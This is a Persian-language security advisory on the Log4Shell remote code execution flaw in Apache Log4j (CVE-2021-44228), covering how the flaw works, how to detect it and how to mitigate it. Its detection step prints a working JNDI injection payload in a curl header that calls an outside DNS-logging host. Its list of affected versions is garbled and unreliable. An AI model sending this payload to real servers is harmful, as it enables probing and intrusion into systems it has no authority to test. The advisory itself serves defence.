آسیب‌پذیری حیاتی Log4Shell: آسیب‌پذیری اجرای کد از راه دور در Apache Log4j

  • عنوان: Log4Shell
  • تاریخ افشا: ۱۰ December 2021
  • شناسه: CVE-2021-44228
  • Platform & Service: Java Logging Library
  • CVSSv3: N/A
  • فوریت: Critical

 اخیرا یک آسیب‌پذیری با نام مستعار Log4Shell بر روی یکی از کتابخانه‌های جاوا به نام Java Logging Library (log4j) کشف شده که در صورت Log کردن یک رشته از کاراکترهای خاص می‌تواند منجر به Remote Code Execution (RCE) گردد. بدین شکل که یک مهاجم از راه دور و بدون احراز هویت یک درخواست خاص را به یک سرور آسیب پذیر ارسال کرده و سپس درخواست مذکور از یک Java Naming and Directory Interface Injection (JNDI) بر روی یکی از سرویس‌های زیر استفاده می‌نماید:

  • Lightweight Directory Access Protocol (LDAP)
  • Secure LDAP (LDAPS)
  • Remote Method Invocation (RMI)
  • Domain Name Service (DNS)

در صورتی‌که سرور آسیب‌پذیر با استفاده از log4j درخواست‌های دریافتی را Log کند، اکسپلویت مذکور، درخواست یک Payload مخرب را بر روی JNDI، از طریق یکی از سرویس‌های فوق ارسال می‌کند.

نظر به اینکه این کتابخانه بسیار همه‌گیر و پراستفاده است، بنابراین آسیب‌پذیری فوق می‌تواند بسیار خطرناک ظاهر شود.

شایان ذکر است که اکسپلویت آن در سایت گیت‌هاب در دسترس عموم قرار دارد.

 نسخه‌های آسیب‌پذیر به شرح زیر است:

  • Apache log4j نسخه ۰ و بالاتر
  • Apache log4j نسخه ۱۴.۱ و پایین‌تر

 لیست اپلیکیشن‌ها و سرویس‌هایی که از این کتابخانه استفاده میک‌نند:

  • Apache Druid
  • Apache Flink
  • Apache Solr
  • Apache Spark
  • Apache Strusts2
  • Apache Tomcat

 نحوه تشخیص سرورهای آسیب‌پذیر

به کمک یک DNS logger (مانند dnslog.cn) میتوان یک دامنه generate کرده و از دستور زیر در Payloadهای تست خود استفاده نمود:

curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}’

پس از اجرای دستور فوق، با بارگذاری مجدد صفحه، Queryهای DNS مربوط به هاست‌های آسیب‌پذیر،‌ مشاهده می‌شوند.

نکته: استفاده از dnslog.cn، منجر به افشای نام هاست‌های آسیب‌پذیر شده که توسط مالک سایت قابل مشاهده است. لذا در صورت نیاز به تست با ریسک پایین‌تر، پیشنهاد می‌گردد که Authoritative DNS server توسط مالک پیاده‌سازی و سپس از طریق آن تست مربوطه صورت پذیرد.

 راهکار رفع آسیب‌پذیری

  • راهکارهای موقت:
  1. تنظیم formatMsgNoLookups یا Dlog4j.formatMsgNoLookups بر روی حالت true (در log4j نسخه ۲.۱۰ و بالاتر)
  2. استفاده از %m{nolookups} به جای %m در تنظیمات PatternLayout
  3. حذف کلاس‌های JndiLookup و JndiManager از log4j-core.jar
  • راهکار دائم:

بروزرسانی Java Logging Library (log4j) به نسخه ۲.۱۵.۰

  • منابع:

https://www.bleepingcomputer.com/news/security/researchers-release-vaccine-for-critical-log4shell-vulnerability

https://github.com/Cybereason/Logout4Shell

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability

https://github.com/christophetd/log4shell-vulnerable-app

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://twitter.com/P0rZ9/status/1468949890571337731

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

https://github.com/Cybereason/Logout4Shell

ایمیل خود را وارد کنید و عضو خبرنامه شوید.
Start typing to see posts you are looking for.

جهت ثبت درخواست همین حالا فرم را تکمیل نمایید.

با تکمیل فرم و ارسال درخواست خود، همکاران و کارشناسان ما در اسرع وقت با شما تماس خواهند گرفت.

جهت دانلود کاتالوگ شرکت همین حالا فرم را تکمیل نمایید.

جهت دانلود گزارش امنیتی 2023 همین حالا فرم را تکمیل نمایید.

در دنیای امنیت چه خبر؟
جهت دریافت آخرین اخبار دنیای امنیت شبکه و اطلاعات ایمیل خود را وارد کنید.